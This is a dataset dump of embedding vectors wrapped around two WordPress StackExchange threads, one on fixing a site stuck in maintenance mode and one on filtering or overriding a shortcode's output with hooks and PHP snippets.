-0.005767822265625,
-0.0015821456909179688,
0.00495147705078125,
0.038970947265625,
-0.05877685546875,
0.01629638671875,
0.0372314453125,
-0.04058837890625,
0.0177001953125,
0.0203857421875,
-0.052703857421875,
-0.031463623046875,
-0.0052032470703125,
0.0097503662109375,
0.0037250518798828125,
-0.0082855224609375,
0.0215301513671875,
0.0282745361328125,
-0.018463134765625,
-0.0070648193359375,
-0.008026123046875,
-0.00217437744140625,
-0.01140594482421875,
-0.0160675048828125,
0.0264892578125,
-0.0023593902587890625,
-0.0109405517578125,
0.025848388671875,
-0.0277099609375,
0.01064300537109375,
0.0249481201171875,
-0.03167724609375,
-0.0275726318359375,
-0.004566192626953125,
-0.01074981689453125,
-0.004581451416015625,
-0.005222320556640625
] |
7de4732dcf85be6bf04816de6d384401c47ca2ba
|
Wordpress Stackexchange
Q: Site Stuck in Maintenance Mode My site is stuck with the site undergoing maintenance-error. The usually fixes have not worked (no .maintenance file to delete, plugins all check out)
It seems that it is a problem with the theme but the developer says that it all checks out.
I've tried several installs of wordpress and the theme, many hours with host also.
A: WordPress creates a .maintenance file during the update process which indicates that your site is in the maintenance mode. Unless this file is removed your site will remain in the maintenance mode and your users will continue to see the notification.
Once you have updated WordPress, all you have to do is delete .maintenance file from your site’s root folder using FTP.
If you can not see .maintenance file in your site’s root directory, then make sure you checked your FTP client to show hidden files. In Filezilla, you can force it to show hidden files by clicking on Server » Force showing hidden files from the menu bar.
|
Q: Site Stuck in Maintenance Mode My site is stuck with the site undergoing maintenance-error. The usually fixes have not worked (no .maintenance file to delete, plugins all check out)
It seems that it is a problem with the theme but the developer says that it all checks out.
I've tried several installs of wordpress and the theme, many hours with host also.
A: WordPress creates a .maintenance file during the update process which indicates that your site is in the maintenance mode. Unless this file is removed your site will remain in the maintenance mode and your users will continue to see the notification.
Once you have updated WordPress, all you have to do is delete .maintenance file from your site’s root folder using FTP.
If you can not see .maintenance file in your site’s root directory, then make sure you checked your FTP client to show hidden files. In Filezilla, you can force it to show hidden files by clicking on Server » Force showing hidden files from the menu bar.
A: Try manually creating and then deleting the .maintenance file (this has worked for me once):
echo "something" > .maintenance
rm .maintenance
A: run the wp-activate.php script, worked for me.
|
wordpress
|
{
"language": "en",
"length": 203,
"provenance": "stackexchange_00019.jsonl.gz:436411",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112064"
}
|
[
0.023712158203125,
0.00568389892578125,
-0.016845703125,
0.0049896240234375,
0.009735107421875,
-0.041900634765625,
0.03607177734375,
-0.034332275390625,
0.047760009765625,
0.00933074951171875,
-0.041473388671875,
-0.02899169921875,
0.021728515625,
-0.01358795166015625,
-0.0230255126953125,
-0.00765228271484375,
0.01166534423828125,
0.0386962890625,
0.0258026123046875,
-0.0018749237060546875,
-0.01464080810546875,
0.0240936279296875,
-0.018798828125,
0.00751495361328125,
-0.0282440185546875,
0.041168212890625,
0.08148193359375,
-0.0229034423828125,
-0.0253448486328125,
-0.040374755859375,
0.0012254714965820312,
0.0179443359375,
0.01235198974609375,
0.029632568359375,
-0.03704833984375,
-0.0253753662109375,
0.01184844970703125,
0.0008807182312011719,
-0.00550079345703125,
0.0404052734375,
-0.01317596435546875,
0.0283203125,
0.0105438232421875,
0.022552490234375,
-0.00994873046875,
-0.041900634765625,
-0.0290374755859375,
-0.07989501953125,
0.0092926025390625,
-0.01763916015625,
0.02569580078125,
0.01396942138671875,
0.037322998046875,
0.0007505416870117188,
-0.0189361572265625,
-0.038848876953125,
0.030914306640625,
-0.01340484619140625,
0.034027099609375,
-0.045745849609375,
-0.05377197265625,
-0.00084686279296875,
0.037017822265625,
-0.00818634033203125,
-0.0191192626953125,
0.021270751953125,
0.014404296875,
0.0030498504638671875,
-0.04864501953125,
-0.0172119140625,
0.033660888671875,
-0.039947509765625,
0.0126495361328125,
0.00537109375,
-0.002201080322265625,
-0.017913818359375,
0.00865936279296875,
0.00379180908203125,
0.0188140869140625,
0.00475311279296875,
0.00951385498046875,
0.0125885009765625,
-0.06402587890625,
0.0098114013671875,
-0.0138397216796875,
0.0347900390625,
-0.01076507568359375,
-0.02789306640625,
-0.0210418701171875,
0.0143890380859375,
-0.01235198974609375,
-0.0011377334594726562,
-0.04888916015625,
0.042205810546875,
0.0093994140625,
-0.0017833709716796875,
0.001140594482421875,
0.020660400390625,
-0.044891357421875,
0.01287841796875,
-0.051666259765625,
-0.01271820068359375,
0.032470703125,
-0.025665283203125,
-0.038177490234375,
0.003116607666015625,
0.025909423828125,
0.028717041015625,
-0.0187530517578125,
0.029632568359375,
-0.028961181640625,
-0.0233154296875,
0.004337310791015625,
-0.0789794921875,
0.004657745361328125,
0.05560302734375,
0.0131072998046875,
0.0126495361328125,
0.051025390625,
-0.03594970703125,
-0.02716064453125,
-0.001445770263671875,
-0.0219573974609375,
-0.049224853515625,
0.01204681396484375,
-0.0418701171875,
-0.03741455078125,
0.034881591796875,
0.01412200927734375,
-0.033782958984375,
-0.0292205810546875,
0.016143798828125,
0.0472412109375,
0.03887939453125,
0.01313018798828125,
0.0014753341674804688,
0.00838470458984375,
0.010009765625,
-0.012939453125,
0.01526641845703125,
0.0264129638671875,
-0.0162200927734375,
0.00534820556640625,
-0.0004336833953857422,
0.0072021484375,
0.03662109375,
0.031524658203125,
-0.0080413818359375,
-0.0131378173828125,
-0.049591064453125,
-0.0032062530517578125,
0.00537109375,
0.050506591796875,
-0.01366424560546875,
0.002044677734375,
-0.0987548828125,
0.034759521484375,
-0.06732177734375,
0.032440185546875,
-0.06646728515625,
-0.0202484130859375,
-0.002941131591796875,
0.038604736328125,
-0.028045654296875,
-0.0306243896484375,
0.01461029052734375,
-0.0433349609375,
-0.0115203857421875,
0.00870513916015625,
-0.006084442138671875,
-0.0177764892578125,
0.0021533966064453125,
0.0012359619140625,
-0.005153656005859375,
-0.004901885986328125,
0.029693603515625,
-0.00878143310546875,
0.00662994384765625,
0.020538330078125,
0.0243377685546875,
-0.001811981201171875,
-0.0330810546875,
0.01087188720703125,
0.01253509521484375,
-0.0391845703125,
-0.01033782958984375,
0.01678466796875,
0.0186004638671875,
0.028839111328125,
0.0176849365234375,
0.027099609375,
0.00522613525390625,
-0.001682281494140625,
0.057373046875,
-0.0014219284057617188,
-0.059844970703125,
0.0223388671875,
0.01393890380859375,
-0.01090240478515625,
-0.049774169921875,
-0.00521087646484375,
0.0175628662109375,
-0.0230865478515625,
0.00899505615234375,
-0.0518798828125,
0.01102447509765625,
-0.03887939453125,
0.0394287109375,
0.005580902099609375,
0.043670654296875,
-0.005931854248046875,
0.01311492919921875,
-0.0158233642578125,
0.0031642913818359375,
-0.0007681846618652344,
0.014923095703125,
-0.0224456787109375,
0.0157928466796875,
-0.01491546630859375,
0.0258636474609375,
-0.02392578125,
-0.00905609130859375,
-0.037628173828125,
-0.0205841064453125,
-0.026458740234375,
0.0232696533203125,
-0.03155517578125,
0.0201263427734375,
-0.030059814453125,
0.0155792236328125,
0.0199127197265625,
0.0126190185546875,
0.009674072265625,
-0.0223846435546875,
-0.047210693359375,
-0.004680633544921875,
-0.036468505859375,
-0.07244873046875,
-0.003612518310546875,
0.069091796875,
0.04541015625,
0.034393310546875,
0.0157623291015625,
0.0143890380859375,
0.039886474609375,
-0.048065185546875,
0.01441192626953125,
-0.0030612945556640625,
0.0265655517578125,
0.0216217041015625,
0.01384735107421875,
-0.0196990966796875,
0.026824951171875,
-0.0007157325744628906,
0.0198516845703125,
0.0303802490234375,
-0.0182342529296875,
-0.043060302734375,
-0.031829833984375,
0.006252288818359375,
0.0268707275390625,
-0.046417236328125,
-0.04925537109375,
0.00034332275390625,
0.057952880859375,
0.00772857666015625,
0.060028076171875,
0.041015625,
-0.01517486572265625,
-0.0019207000732421875,
-0.0129547119140625,
-0.039276123046875,
-0.00432586669921875,
0.018035888671875,
0.007476806640625,
0.0394287109375,
-0.031646728515625,
0.0022735595703125,
-0.0007791519165039062,
0.0234832763671875,
-0.057342529296875,
-0.0406494140625,
0.006458282470703125,
-0.00432586669921875,
-0.0126953125,
-0.006038665771484375,
0.06390380859375,
-0.00928497314453125,
-0.07525634765625,
-0.007053375244140625,
0.0225067138671875,
0.0216827392578125,
-0.03521728515625,
0.01003265380859375,
-0.0377197265625,
0.006282806396484375,
0.032958984375,
-0.021575927734375,
0.0077056884765625,
-0.03179931640625,
0.039581298828125,
0.055694580078125,
0.0020732879638671875,
0.005298614501953125,
0.0322265625,
-0.0298614501953125,
0.0235748291015625,
0.0020961761474609375,
0.00861358642578125,
0.048858642578125,
-0.08856201171875,
0.049591064453125,
0.0215301513671875,
0.006397247314453125,
0.00926971435546875,
-0.02264404296875,
-0.031890869140625,
0.012054443359375,
-0.0985107421875,
-0.07366943359375,
-0.08447265625,
-0.04779052734375,
0.006317138671875,
0.0286102294921875,
-0.0127105712890625,
0.00853729248046875,
0.04534912109375,
0.040771484375,
-0.0535888671875,
-0.01378631591796875,
-0.056396484375,
-0.07537841796875,
-0.06475830078125,
0.00566864013671875,
-0.0033588409423828125,
0.046783447265625,
0.00533294677734375,
0.06500244140625,
-0.01149749755859375,
-0.08563232421875,
-0.056732177734375,
-0.03277587890625,
-0.0225372314453125,
-0.01158905029296875,
-0.00780487060546875,
-0.003704071044921875,
-0.01189422607421875,
0.00225067138671875,
-0.0242462158203125,
0.0185089111328125,
-0.005458831787109375,
-0.007030487060546875,
-0.03369140625,
-0.02032470703125,
-0.0111236572265625,
0.027069091796875,
0.0230255126953125,
-0.02874755859375,
-0.00791168212890625,
-0.055084228515625,
-0.03521728515625,
0.01526641845703125,
-0.03594970703125,
0.0506591796875,
0.0306549072265625,
-0.045989990234375,
0.00936126708984375,
-0.0067901611328125,
-0.0116729736328125,
-0.017181396484375,
0.0184478759765625,
-0.05706787109375,
0.033416748046875,
-0.0009431838989257812,
0.005893707275390625,
-0.00037789344787597656,
0.03790283203125,
-0.023712158203125,
0.0283203125,
0.00905609130859375,
-0.0166778564453125,
-0.01666259765625,
0.01171112060546875,
-0.019287109375,
-0.00946807861328125,
0.016448974609375,
-0.058685302734375,
0.056549072265625,
-0.0631103515625,
-0.0100250244140625,
-0.03948974609375,
0.08477783203125,
-0.06304931640625,
-0.01114654541015625,
0.0295867919921875,
0.043060302734375,
-0.01349639892578125,
-0.034637451171875,
-0.015960693359375,
-0.041534423828125,
-0.06292724609375,
0.03497314453125,
-0.007358551025390625,
-0.01280975341796875,
-0.03045654296875,
-0.03656005859375,
-0.0310821533203125,
-0.036407470703125,
0.0183563232421875,
-0.053466796875,
0.0028839111328125,
-0.0006556510925292969,
-0.0196075439453125,
-0.035675048828125,
-0.002910614013671875,
-0.040283203125,
-0.0985107421875,
-0.019500732421875,
-0.00794219970703125,
0.06353759765625,
-0.017059326171875,
0.0101318359375,
-0.01473236083984375,
0.04132080078125,
0.0179901123046875,
0.07281494140625,
-0.020660400390625,
-0.03582763671875,
0.03759765625,
0.01483154296875,
0.035888671875,
-0.002819061279296875,
0.00003910064697265625,
-0.028900146484375,
-0.040557861328125,
-0.01180267333984375,
-0.0169219970703125,
0.045989990234375,
0.01140594482421875,
-0.0230865478515625,
-0.0005631446838378906,
-0.02520751953125,
-0.002269744873046875,
0.01100921630859375,
-0.007099151611328125,
0.01543426513671875,
-0.0219268798828125,
-0.005207061767578125,
0.0142669677734375,
-0.0306854248046875,
-0.0032787322998046875,
0.0286712646484375,
0.0557861328125,
0.005786895751953125,
-0.01239776611328125,
-0.07574462890625,
-0.015869140625,
0.016143798828125,
0.0172119140625,
0.07305908203125,
0.04864501953125,
0.0009479522705078125,
0.050262451171875,
0.0231475830078125,
0.00707244873046875,
0.01024627685546875,
0.007549285888671875,
-0.006847381591796875,
-0.0295257568359375,
0.0269012451171875,
-0.0095977783203125,
0.01030731201171875,
-0.025421142578125,
-0.03887939453125,
0.040069580078125,
-0.09625244140625,
0.00823211669921875,
0.059051513671875,
-0.01389312744140625,
-0.061004638671875,
-0.047698974609375,
0.0167083740234375,
-0.03759765625,
0.043365478515625,
0.00855255126953125,
0.007427215576171875,
0.05426025390625,
0.03167724609375,
-0.00030231475830078125,
-0.035064697265625,
-0.017303466796875,
-0.040496826171875,
0.024658203125,
-0.0223846435546875,
-0.00482940673828125,
-0.017547607421875,
-0.0216064453125,
0.08514404296875,
0.02349853515625,
-0.0538330078125,
0.048980712890625,
-0.01105499267578125,
0.0006051063537597656,
0.03955078125,
0.0205078125,
0.01238250732421875,
-0.0185699462890625,
-0.0252685546875,
-0.0218505859375,
0.00026154518127441406,
-0.0216522216796875,
-0.049224853515625,
0.032958984375,
-0.008941650390625,
-0.01080322265625,
0.0019989013671875,
0.0262603759765625,
-0.0260009765625,
0.0039043426513671875,
0.00733184814453125,
0.003513336181640625,
-0.02130126953125,
0.0367431640625,
0.00547027587890625,
-0.001598358154296875,
0.0292510986328125,
0.007480621337890625,
0.050323486328125,
-0.00986480712890625,
0.01326751708984375,
-0.022247314453125,
0.01218414306640625,
-0.01413726806640625,
-0.01210784912109375,
0.046295166015625,
-0.0343017578125,
0.008331298828125,
0.03167724609375,
-0.0306396484375,
-0.042236328125,
-0.0255279541015625,
-0.0169525146484375,
0.03485107421875,
-0.0341796875,
0.003597259521484375,
0.0156707763671875,
0.004878997802734375,
0.0245513916015625,
0.0278472900390625,
-0.03143310546875,
-0.003108978271484375,
0.0024089813232421875,
-0.0166778564453125,
-0.01641845703125,
-0.0029811859130859375,
-0.05560302734375,
-0.00018274784088134766,
-0.0119781494140625,
0.00897216796875,
0.004734039306640625,
0.02764892578125,
-0.0273590087890625,
-0.00695037841796875,
-0.01200103759765625,
-0.00431060791015625,
0.0067596435546875,
0.00830078125,
-0.0513916015625,
-0.046051025390625,
-0.006313323974609375,
-0.053985595703125,
-0.031646728515625,
-0.049713134765625,
-0.0207061767578125,
-0.057220458984375,
0.01861572265625,
-0.0012540817260742188,
0.03118896484375,
-0.0626220703125,
-0.046173095703125,
0.017333984375,
0.00020384788513183594,
-0.002197265625,
0.0257415771484375,
0.002002716064453125,
-0.0151824951171875,
0.0472412109375,
0.0173187255859375,
0.0299072265625,
0.0036334991455078125,
0.001186370849609375,
-0.05615234375,
0.0304718017578125,
-0.00031065940856933594,
-0.03265380859375,
-0.0243377685546875,
0.007732391357421875,
-0.033721923828125,
0.023406982421875,
-0.022705078125,
-0.01611328125,
-0.0206451416015625,
0.0019063949584960938,
-0.033538818359375,
0.062164306640625,
-0.02081298828125,
0.01407623291015625,
-0.0269622802734375,
-0.049591064453125,
-0.0230255126953125,
-0.0198516845703125,
-0.00841522216796875,
0.0059051513671875,
-0.0260467529296875,
-0.0095672607421875,
0.0435791015625,
-0.0250701904296875,
0.055755615234375,
0.07781982421875,
-0.023895263671875,
0.02532958984375,
0.055267333984375,
0.0084991455078125,
0.0014715194702148438,
0.006580352783203125,
-0.0085601806640625,
-0.03790283203125,
0.01983642578125,
-0.00989532470703125,
-0.01611328125,
0.00577545166015625,
-0.0283355712890625,
-0.0214385986328125,
0.0765380859375,
0.06939697265625,
-0.06201171875,
-0.0189208984375,
0.0203094482421875,
-0.031097412109375,
-0.0273590087890625,
-0.00742340087890625,
-0.0201416015625,
-0.03436279296875,
0.022857666015625,
-0.01348876953125,
-0.0169525146484375,
0.00360870361328125,
0.0038928985595703125,
0.0233154296875,
0.0258941650390625,
0.0482177734375,
-0.0161590576171875,
-0.0221710205078125,
-0.07037353515625,
0.031402587890625,
-0.016510009765625,
-0.0012416839599609375,
0.033111572265625,
-0.0082244873046875,
-0.01715087890625,
-0.0180816650390625,
0.019775390625,
0.00803375244140625,
-0.01268768310546875,
-0.023345947265625,
-0.0184326171875,
0.041046142578125,
0.050323486328125,
-0.024810791015625,
0.006061553955078125,
0.02490234375,
0.005344390869140625,
-0.0030689239501953125,
-0.0277862548828125,
0.00878143310546875,
-0.00598907470703125,
-0.01415252685546875,
-0.0024700164794921875,
-0.0005702972412109375,
-0.04473876953125,
-0.0065765380859375,
-0.02386474609375,
0.01186370849609375,
-0.031463623046875,
0.0078887939453125,
0.046875,
0.0242156982421875,
-0.031402587890625,
-0.0217742919921875,
0.024627685546875,
-0.0394287109375,
-0.006561279296875,
-0.0027923583984375,
-0.0190887451171875,
-0.0084075927734375,
-0.02508544921875,
-0.04364013671875,
0.06451416015625,
0.01090240478515625,
-0.0065765380859375,
-0.00234222412109375,
0.04351806640625,
-0.018341064453125,
0.0259246826171875,
0.0022296905517578125,
0.040679931640625,
-0.002948760986328125,
0.0657958984375,
-0.0222930908203125,
-0.01220703125,
0.02490234375,
0.06256103515625,
0.02734375,
0.010528564453125,
-0.033905029296875,
-0.00022721290588378906,
0.05029296875,
0.038330078125,
0.0309906005859375,
0.04876708984375,
-0.046783447265625,
0.004375457763671875,
0.00634765625,
-0.050262451171875,
0.0241241455078125,
-0.037200927734375,
-0.044036865234375,
-0.04522705078125,
-0.006114959716796875,
-0.03192138671875,
-0.0074005126953125,
-0.002285003662109375,
-0.06597900390625,
0.0179443359375,
0.019134521484375,
0.06072998046875,
-0.0164031982421875,
0.005901336669921875,
-0.010711669921875,
-0.01483154296875,
0.00901031494140625,
-0.0221405029296875,
0.034423828125,
0.016571044921875,
0.0286865234375,
0.01486968994140625,
0.025665283203125,
0.0203857421875,
-0.035400390625,
0.0151519775390625,
0.016082763671875,
-0.05615234375,
0.0119171142578125,
0.037261962890625,
0.0255126953125,
-0.033843994140625,
-0.0272979736328125,
0.06524658203125,
0.05657958984375,
-0.01396942138671875,
-0.0161895751953125,
0.006015777587890625,
0.0016622543334960938,
0.004901885986328125,
-0.01387786865234375,
0.00716400146484375,
0.0286712646484375,
0.02783203125,
-0.0027980804443359375,
-0.0016889572143554688,
0.006473541259765625,
-0.007266998291015625,
-0.0043182373046875,
0.035400390625,
0.00939178466796875,
0.017486572265625,
-0.0625,
0.05548095703125,
0.024749755859375,
0.045684814453125,
-0.01282501220703125,
0.050872802734375,
0.00022268295288085938,
-0.00632476806640625,
-0.01236724853515625,
0.031646728515625,
-0.00983428955078125,
0.01523590087890625,
-0.031585693359375,
-0.0333251953125,
0.0007271766662597656,
0.039947509765625,
-0.008544921875,
-0.0160980224609375,
0.00858306884765625,
0.058441162109375,
0.0115509033203125,
-0.023162841796875,
0.045806884765625,
0.0000451207160949707,
-0.0172271728515625,
-0.0201416015625,
0.0174102783203125,
0.0210418701171875,
-0.00890350341796875,
0.00856781005859375,
0.0243988037109375,
0.0254974365234375,
0.00952911376953125,
-0.0104522705078125,
0.0188751220703125,
0.0037670135498046875,
0.093994140625,
0.0293731689453125,
0.0181732177734375,
0.04632568359375,
-0.0308990478515625,
-0.04833984375,
0.0137481689453125,
0.054901123046875,
-0.00933074951171875,
0.0226287841796875,
0.0498046875,
-0.0084991455078125,
0.0106658935546875,
-0.0129852294921875,
-0.00012058019638061523,
0.01739501953125,
0.004825592041015625,
0.01453399658203125,
0.02667236328125,
0.01009368896484375,
-0.0310821533203125,
-0.0521240234375,
-0.037933349609375,
0.07196044921875,
0.0287322998046875,
0.058380126953125,
-0.01157379150390625,
0.05487060546875,
-0.03546142578125,
-0.0229644775390625,
-0.0006933212280273438,
-0.0005526542663574219,
-0.0557861328125,
0.03875732421875,
0.00302886962890625,
-0.01837158203125,
-0.07965087890625,
0.0297393798828125,
0.0065765380859375,
-0.0123291015625,
0.002765655517578125,
0.0233001708984375,
-0.0051422119140625,
0.001644134521484375,
0.0031719207763671875,
-0.018341064453125,
-0.0309600830078125,
-0.01361846923828125,
0.00931549072265625,
0.0020656585693359375,
-0.00952911376953125,
-0.03656005859375,
0.0063934326171875,
0.011810302734375,
-0.00777435302734375,
0.01538848876953125,
0.00850677490234375,
0.00931549072265625,
0.0408935546875,
-0.014190673828125,
-0.054351806640625,
-0.014190673828125,
-0.0245513916015625,
0.0214080810546875,
-0.00798797607421875,
0.07904052734375,
-0.01959228515625,
0.01036834716796875,
-0.0052337646484375,
-0.0110321044921875,
0.01262664794921875,
-0.03546142578125,
-0.01532745361328125,
-0.009429931640625,
0.01508331298828125,
0.0093841552734375,
0.041900634765625,
-0.006748199462890625,
-0.006900787353515625,
-0.032379150390625,
-0.00414276123046875,
-0.01000213623046875,
-0.023529052734375,
-0.0172271728515625,
0.00931549072265625,
0.025054931640625,
-0.0006504058837890625,
-0.044586181640625,
0.0232391357421875,
-0.0293121337890625,
0.033843994140625,
-0.03106689453125,
-0.0252227783203125,
0.0081024169921875,
0.00966644287109375,
-0.04583740234375,
-0.03558349609375,
-0.040313720703125,
0.0186309814453125,
-0.029693603515625,
-0.0206451416015625,
-0.00015592575073242188,
0.009674072265625,
0.061492919921875,
-0.0266571044921875,
-0.0128631591796875,
0.0198516845703125,
-0.033538818359375,
-0.022369384765625,
0.030120849609375,
-0.023223876953125,
0.00240325927734375,
-0.03643798828125,
-0.0186614990234375,
-0.0211944580078125,
0.00405120849609375,
-0.02862548828125,
0.019256591796875,
0.02288818359375,
-0.051788330078125,
-0.10565185546875,
-0.002368927001953125,
-0.017425537109375,
-0.044342041015625,
-0.08642578125,
-0.035308837890625,
-0.0118408203125,
0.06707763671875,
-0.0210418701171875,
-0.0219268798828125,
-0.054443359375,
0.08392333984375,
0.0088653564453125,
0.029876708984375,
0.023345947265625,
0.01160430908203125,
-0.0125274658203125,
0.01268768310546875,
0.00524139404296875,
0.00710296630859375,
0.0168914794921875,
0.0070037841796875,
0.007198333740234375,
0.06976318359375,
-0.01491546630859375,
-0.046875,
-0.035797119140625,
-0.08319091796875,
-0.004245758056640625,
-0.01407623291015625,
-0.0298614501953125,
-0.048431396484375,
0.043243408203125,
-0.0008859634399414062,
0.0224456787109375,
0.023651123046875,
-0.01227569580078125,
-0.0552978515625,
-0.007488250732421875,
-0.036865234375,
0.015869140625,
-0.077880859375,
-0.0021686553955078125,
0.0173492431640625,
-0.01441192626953125,
-0.036773681640625,
-0.02166748046875,
-0.03399658203125,
-0.00791168212890625,
0.0268402099609375,
0.023773193359375,
0.01019287109375,
-0.0450439453125,
0.0185546875,
-0.005168914794921875,
0.0255279541015625,
-0.01459503173828125,
0.04742431640625,
0.01873779296875,
0.019378662109375,
0.008056640625,
0.0005183219909667969,
-0.0211029052734375,
0.0040283203125,
0.01190185546875,
0.0113067626953125,
-0.01123809814453125,
-0.0250701904296875,
0.031768798828125,
0.0104522705078125,
-0.0008749961853027344,
-0.0037059783935546875,
-0.0302734375,
0.032257080078125,
-0.03948974609375,
0.047332763671875,
-0.0233612060546875,
-0.0134124755859375,
-0.03765869140625,
0.0576171875,
-0.04791259765625,
0.01166534423828125,
-0.0139923095703125,
-0.01502227783203125,
-0.0000021457672119140625,
0.0384521484375,
0.04443359375,
-0.0264892578125,
0.01013946533203125,
-0.07452392578125,
0.052032470703125,
0.0018405914306640625
] |
7d3c070d0749b7fad02b9d1de66394807fe90441
|
Wordpress Stackexchange
Q: Filter specific shortcode output? Is there a hook in WordPress that I can use to filter the output of a specific shortcode? Something like this:
add_filter('shortcode_output', 'my_filter_function', 2);
function my_filter_function ( $output, $shortcode ) {
....
}
Where $shortcode would be something like [my_schortcode] or even better, shortcode and its attributes separated into an array.
A: There is no filter that I know of that is meant to target individual shortcodes like you want.
You can filter attributes with shortcode_atts_{$shortcode} though.
You can hijack another shortcode by creating your own callback and registering it with the original shortcode slug. I think that is what you are probably going to need to do.
Proof of concept:
function my_gallery_shortcode($atts) {
return 'howdy';
}
add_shortcode('gallery','my_gallery_shortcode');
Now try to use a gallery :)
|
Q: Filter specific shortcode output? Is there a hook in WordPress that I can use to filter the output of a specific shortcode? Something like this:
add_filter('shortcode_output', 'my_filter_function', 2);
function my_filter_function ( $output, $shortcode ) {
....
}
Where $shortcode would be something like [my_schortcode] or even better, shortcode and its attributes separated into an array.
A: There is no filter that I know of that is meant to target individual shortcodes like you want.
You can filter attributes with shortcode_atts_{$shortcode} though.
You can hijack another shortcode by creating your own callback and registering it with the original shortcode slug. I think that is what you are probably going to need to do.
Proof of concept:
function my_gallery_shortcode($atts) {
return 'howdy';
}
add_shortcode('gallery','my_gallery_shortcode');
Now try to use a gallery :)
A: WordPress 4.7 introduced a new filter, do_shortcode_tag, to do exactly this.
A: While there is no hook, there is a small workaround that makes your end-goal possible. You can create a new shortcode that, on a per-instance basis, you always wrap around any other shortcode whose output you want to filter.
Usage in a post, etc:
Here is some post text. Blah blah...
[filter][target_annoying_shortcode size="small" limit="20"][/filter]
Here is some more text in my post. More blah blah...
In functions.php:
function my_shortcode_output_filter( $attr, $content ) {
// Express the shortcode into its output
$content_translated = do_shortcode(trim($content));
if($shortcode_to_modify == $content || !$content_translated) {
// Error handling
return 'There was an error in filtering shortcode: '.$content;
}
// Now modify the output as you like, here...
$content_translated_and_filtered = $content_translated;
return $content_translated_and_filtered;
}
add_shortcode('filter', 'my_shortcode_output_filter');
A: The only thing that you can filter is the attributes fo the shortcode:
apply_filters( "shortcode_atts_{$shortcode}", $out, $pairs, $atts );
Point is, that $shortcode is the third argument when registering a shortcode. This argument is pretty new and nearly no shortcode uses it, therefore it will fall back to the default - which is a string of ''.
This leads to a funny result:
add_filter( 'shortcode_atts_', 'wpse112294_shortcode_atts_cb' );
function wpse112294_shortcode_atts_cb( $out, $pairs, $atts )
{
// here we need to find a way to uniquely identify a shortcode
// for which we ain't got a name
// something that makes the shortcode unique:
$found = isset( $pairs['foo_attribute_key'] );
if ( $found )
{
// Instantly remove this filter to save processing time:
remove_filter( current_filter(), __FUNCTION__ );
// do something stunning in here!
}
return $out;
}
So, yes, with a 90% chance we need to filter the output of every(!) shortcode and try to somehow identify the shortcode by either some default arguments ($pairs) or by input arguments (impossible). Then, finally we're able to process the output. Are we able to process the string itself? No. This has to be done the way @s_ha_dum showed above.
A: While @s_ha_dum gave a decent answer, you can create a new shortcode for the purpose of filtering an existing shortcode. For example,
function filter_function($atts, $content) {
extract(shortcode_atts(array(
'att1' => 'val1',
'att2' => 'val2'
), $atts));
//save shortcode output in $return
$return = do_shortcode("[existing_shortcode att1='$att1' att2='$att2'".$content."/existing_shortcode]");
//insert code to modify $return
echo $return;
}
add_shortcode('new_shortcode','filter_function');
note that for the [embed] shortcode, you have to use
global $wp_embed;
$return = $wp_embed->run_shortcode("[embed ...
instead of do_shortcode
|
wordpress
|
{
"language": "en",
"length": 532,
"provenance": "stackexchange_00019.jsonl.gz:436489",
"question_score": "9",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/112294"
}
|
[
0.0271453857421875,
-0.01096343994140625,
0.017730712890625,
0.0152587890625,
-0.0162353515625,
-0.019561767578125,
0.04791259765625,
-0.035858154296875,
-0.005779266357421875,
0.0285186767578125,
0.0147247314453125,
0.0003414154052734375,
-0.017913818359375,
-0.037017822265625,
0.004848480224609375,
-0.0296173095703125,
0.0137939453125,
-0.01025390625,
0.00252532958984375,
-0.027130126953125,
-0.0041656494140625,
-0.020050048828125,
-0.0058135986328125,
0.053802490234375,
0.02294921875,
-0.0245513916015625,
0.081787109375,
-0.015289306640625,
0.024627685546875,
0.00508880615234375,
0.0207061767578125,
-0.05755615234375,
0.039093017578125,
0.0267333984375,
-0.06256103515625,
0.07965087890625,
-0.0310516357421875,
0.0091400146484375,
-0.01453399658203125,
0.03936767578125,
0.017242431640625,
-0.0111236572265625,
0.01200103759765625,
-0.01073455810546875,
0.00524139404296875,
-0.02410888671875,
0.036163330078125,
-0.047882080078125,
0.0167999267578125,
0.012481689453125,
0.032379150390625,
0.025543212890625,
0.04132080078125,
-0.0272216796875,
-0.01483154296875,
0.0011272430419921875,
-0.0236968994140625,
-0.00989532470703125,
0.0308685302734375,
-0.0097808837890625,
-0.024505615234375,
-0.0283355712890625,
0.026885986328125,
-0.0159149169921875,
0.01325225830078125,
-0.0013942718505859375,
-0.04937744140625,
0.032745361328125,
0.014129638671875,
0.0283966064453125,
0.0174407958984375,
-0.037139892578125,
-0.0186309814453125,
-0.0017633438110351562,
-0.039459228515625,
0.03497314453125,
0.0247802734375,
0.01467132568359375,
0.0062103271484375,
0.0017786026000976562,
-0.0018491744995117188,
-0.040985107421875,
-0.0386962890625,
0.023040771484375,
-0.016326904296875,
0.029632568359375,
0.0005965232849121094,
-0.0010843276977539062,
-0.017822265625,
0.01202392578125,
-0.0146331787109375,
-0.004302978515625,
-0.025177001953125,
0.0209197998046875,
-0.01025390625,
0.001560211181640625,
-0.01947021484375,
0.0151824951171875,
-0.01111602783203125,
0.0308685302734375,
-0.0005049705505371094,
-0.01100921630859375,
0.031402587890625,
-0.044158935546875,
0.00904083251953125,
0.030120849609375,
0.005619049072265625,
0.022674560546875,
0.037872314453125,
0.035247802734375,
-0.003223419189453125,
0.00856781005859375,
-0.042144775390625,
-0.01361846923828125,
-0.043121337890625,
0.031646728515625,
-0.05029296875,
-0.017547607421875,
-0.0118408203125,
0.0026798248291015625,
0.025970458984375,
0.022308349609375,
0.0743408203125,
-0.019439697265625,
-0.0240020751953125,
-0.0128326416015625,
-0.042327880859375,
-0.0760498046875,
0.093017578125,
-0.0272216796875,
-0.0345458984375,
0.016998291015625,
0.052703857421875,
0.0162506103515625,
0.01204681396484375,
0.01043701171875,
0.00811004638671875,
-0.0247039794921875,
0.00406646728515625,
0.01137542724609375,
0.0297698974609375,
-0.0173492431640625,
-0.02471923828125,
0.01390838623046875,
0.0262603759765625,
0.00940704345703125,
0.0139312744140625,
0.02569580078125,
-0.0004134178161621094,
-0.03631591796875,
0.0200042724609375,
0.021026611328125,
0.030731201171875,
0.0157470703125,
0.039215087890625,
-0.030670166015625,
0.07269287109375,
-0.058807373046875,
-0.0072021484375,
-0.0455322265625,
0.0290374755859375,
-0.007476806640625,
-0.0188446044921875,
0.0024051666259765625,
-0.0186614990234375,
